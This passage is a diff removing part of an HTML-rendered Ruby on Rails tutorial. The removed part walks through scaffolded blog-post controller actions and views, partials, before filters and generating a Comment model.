-       <span style="color: #FF0000">"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"</span><span style="color: #990000">&gt;</span>
-
-<span style="color: #FF0000">&lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"&gt;</span>
-<span style="color: #FF0000">&lt;head&gt;</span>
-  <span style="color: #FF0000">&lt;meta http-equiv="content-type" content="text/html;charset=UTF-8" /&gt;</span>
-  <span style="color: #FF0000">&lt;title&gt;</span>Posts<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= controller.action_name %&gt;&lt;/title&gt;</span>
-  <span style="color: #FF0000">&lt;%= stylesheet_link_tag 'scaffold' %&gt;</span>
-<span style="color: #FF0000">&lt;/head&gt;</span>
-<span style="color: #FF0000">&lt;body style="background: #EEEEEE;"&gt;</span>
-
-<span style="color: #FF0000">&lt;p style="color: green"&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;%= yield  %&gt;</span>
-
-<span style="color: #FF0000">&lt;/body&gt;</span>
-<span style="color: #FF0000">&lt;/html&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Now when you refresh the <tt>/posts</tt> page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.</p></div>
-<h3 id="_creating_new_posts">6.9. Creating New Posts</h3>
-<div class="para"><p>Creating a new post involves two actions. The first is the <tt>new</tt> action, which instantiates an empty <tt>Post</tt> object:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
-  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
-
-  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
-    format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># new.html.erb</span></span>
-    format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>new.html.erb</tt> view displays this empty Post to the user:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>New post<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;% form_for(@post) do |f| %&gt;</span>
-  <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
-
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :name %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_field :name %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :title %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_field :title %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :content %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_area :content %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.submit "Create" %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>form_for</tt> block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, <tt>f.text_field :name</tt> tells Rails to create a text input on the form, and to hook it up to the <tt>name</tt> attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case <tt>name</tt>, <tt>title</tt>, and <tt>content</tt>). Rails uses <tt>form_for</tt> in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the <tt>form_tag</tt> method, which provides shortcuts for building forms that are not necessarily tied to a model instance.</td>
-</tr></table>
-</div>
-<div class="para"><p>When the user clicks the <tt>Create</tt> button on this form, the browser will send information back to the <tt>create</tt> method of the controller (Rails knows to call the <tt>create</tt> method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
-
-  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>save
-      flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully created.'</span>
-      format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
-      format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>created<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-      format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span> <span style="color: #FF0000">}</span>
-      format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>errors<span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>unprocessable_entity <span style="color: #FF0000">}</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>create</tt> action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the <tt>params</tt> hash. After saving the new post, it uses <tt>flash[:notice]</tt> to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the <tt>create</tt> action just shows the <tt>new</tt> view a second time, with any error messages.</p></div>
-<div class="para"><p>Rails provides the <tt>flash</tt> hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request.  In the case of <tt>create</tt>, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the <tt>show</tt> action, they are presented with a message saying "Post was successfully created."</p></div>
-<h3 id="_showing_an_individual_post">6.10. Showing an Individual Post</h3>
-<div class="para"><p>When you click the <tt>show</tt> link for a post on the index page, it will bring you to a URL like <tt>http://localhost:3000/posts/1</tt>. Rails interprets this as a call to the <tt>show</tt> action for the resource, and passes in <tt>1</tt> as the <tt>:id</tt> parameter. Here's the <tt>show</tt> action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-
-  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
-    format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># show.html.erb</span></span>
-    format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>show</tt> action uses <tt>Post.find</tt> to search for a single record in the database by its id value. After finding the record, Rails displays it by using <tt>show.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;p&gt;</span>
-  <span style="color: #FF0000">&lt;b&gt;</span>Name<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
-  <span style="color: #FF0000">&lt;%=h @post.name %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
-  <span style="color: #FF0000">&lt;b&gt;</span>Title<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
-  <span style="color: #FF0000">&lt;%=h @post.title %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
-  <span style="color: #FF0000">&lt;b&gt;</span>Content<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
-  <span style="color: #FF0000">&lt;%=h @post.content %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-
-<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_path(@post) %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-</tt></pre></div></div>
-<h3 id="_editing_posts">6.11. Editing Posts</h3>
-<div class="para"><p>Like creating a new post, editing a post is a two-part process. The first step is a request to <tt>edit_post_path(@post)</tt> with a particular post. This calls the <tt>edit</tt> action in the controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
-  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>After finding the requested post, Rails uses the <tt>edit.html.erb</tt> view to display it:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Editing post<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;% form_for(@post) do |f| %&gt;</span>
-  <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
-
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :name %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_field :name %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :title %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_field :title %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :content %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_area :content %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.submit "Update" %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Show', @post %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Submitting the form created by this view will invoke the <tt>update</tt> action within the controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
-  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-
-  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
-      flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully updated.'</span>
-      format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
-      format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> head <span style="color: #990000">:</span>ok <span style="color: #FF0000">}</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-      format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"edit"</span> <span style="color: #FF0000">}</span>
-      format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>errors<span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>unprocessable_entity <span style="color: #FF0000">}</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In the <tt>update</tt> action, Rails first uses the <tt>:id</tt> parameter passed back from the edit view to locate the database record that's being edited. The <tt>update_attributes</tt> call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's <tt>show</tt> view. If there are any problems, it's back to <tt>edit</tt> to correct them.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Sharp-eyed readers will have noticed that the <tt>form_for</tt> declaration is identical for the <tt>new</tt> and <tt>edit</tt> views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a <em>partial template</em>, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for <tt>create</tt> and <tt>edit</tt>.</td>
-</tr></table>
-</div>
-<h3 id="_destroying_a_post">6.12. Destroying a Post</h3>
-<div class="para"><p>Finally, clicking one of the <tt>destroy</tt> links sends the associated id to the <tt>destroy</tt> action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
-  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-  <span style="color: #009900">@post</span><span style="color: #990000">.</span>destroy
-
-  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
-    format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span>posts_url<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
-    format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> head <span style="color: #990000">:</span>ok <span style="color: #FF0000">}</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>destroy</tt> method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.</p></div>
-</div>
-<h2 id="_drying_up_the_code">7. DRYing up the Code</h2>
-<div class="sectionbody">
-<div class="para"><p>At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use <em>partials</em> to clean up duplication in views and <em>filters</em> to help with duplication in controllers.</p></div>
-<h3 id="_using_partials_to_eliminate_view_duplication">7.1. Using Partials to Eliminate View Duplication</h3>
-<div class="para"><p>As you saw earlier, the scaffold-generated views for the <tt>new</tt> and <tt>edit</tt> actions are largely identical. You can pull the shared code out into a <tt>partial</tt> template. This requires editing the new and edit views, and adding a new template:</p></div>
-<div class="para"><p><tt>new.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>New post<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"form"</span> <span style="color: #990000">%&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p><tt>edit.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Editing post<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"form"</span> <span style="color: #990000">%&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Show', @post %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p><tt>_form.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% form_for(@post) do |f| %&gt;</span>
-  <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
-
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :name %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_field :name %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :title, "title" %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_field :title %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.label :content %&gt;&lt;br /&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.text_area :content %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-  <span style="color: #FF0000">&lt;p&gt;</span>
-    <span style="color: #FF0000">&lt;%= f.submit "Save" %&gt;</span>
-  <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Now, when Rails renders the <tt>new</tt> or <tt>edit</tt> view, it will insert the <tt>_form</tt> partial at the indicated point. Note the naming convention for partials: if you refer to a partial named <tt>form</tt> inside of a view, the corresponding file is <tt>_form.html.erb</tt>, with a leading underscore.</p></div>
-<div class="para"><p>For more information on partials, refer to the <a href="../layouts_and_rendering.html">Layouts and Rending in Rails</a> guide.</p></div>
-<h3 id="_using_filters_to_eliminate_controller_duplication">7.2. Using Filters to Eliminate Controller Duplication</h3>
-<div class="para"><p>At this point, if you look at the controller for posts, you’ll see some duplication:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
-  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-        <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-    <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-    <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Four instances of the exact same line of code doesn’t seem very DRY. Rails provides <em>filters</em> as a way to address this sort of repeated code. In this case, you can DRY things up by using a <tt>before_filter</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
-  before_filter <span style="color: #990000">:</span>find_post<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>show<span style="color: #990000">,</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>update<span style="color: #990000">,</span> <span style="color: #990000">:</span>destroy<span style="color: #990000">]</span>
-  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-        <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
-    <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
-    <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  private
-    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_post
-      <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails runs <em>before filters</em> before any action in the controller. You can use the <tt>:only</tt> clause to limit a before filter to only certain actions, or an <tt>:except</tt> clause to specifically skip a before filter for certain actions. Rails also allows you to define <em>after filters</em> that run after processing an action, as well as <em>around filters</em> that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.</p></div>
-<div class="para"><p>For more information on filters, see the <a href="actioncontroller_basics.html">Action Controller Basics</a> guide.</p></div>
-</div>
-<h2 id="_adding_a_second_model">8. Adding a Second Model</h2>
-<div class="sectionbody">
-<div class="para"><p>Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.</p></div>
-<h3 id="_generating_a_model">8.1. Generating a Model</h3>
-<div class="para"><p>Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate model Comment commenter<span style="color: #990000">:</span>string body<span style="color: #990000">:</span>text post<span style="color: #990000">:</span>references
-</tt></pre></div></div>
-<div class="para"><p>This command will generate four files:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>app/models/comment.rb</tt> - The model
-</p>
-</li>
-<li>
-<p>
-+db/migrate/20081013214407_create_comments.rb - The migration
-</p>
-</li>
-<li>
-<p>
-<tt>test/unit/comment_test.rb</tt> and <tt>test/fixtures/comments.yml</tt> - The test harness.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>First, take a look at <tt>comment.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>post
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This is very similar to the <tt>post.rb</tt> model that you saw earlier. The difference is the line <tt>belongs_to :post</tt>, which sets up an Active Record <em>association</em>. You'll learn a little about associations in the next section of this guide.</p></div>
-<div class="para"><p>In addition to the model, Rails has also made a migration to create the corresponding database table:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateComments <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    create_table <span style="color: #990000">:</span>comments <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>commenter
-      t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>body
-      t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>post
-
-      t<span style="color: #990000">.</span>timestamps
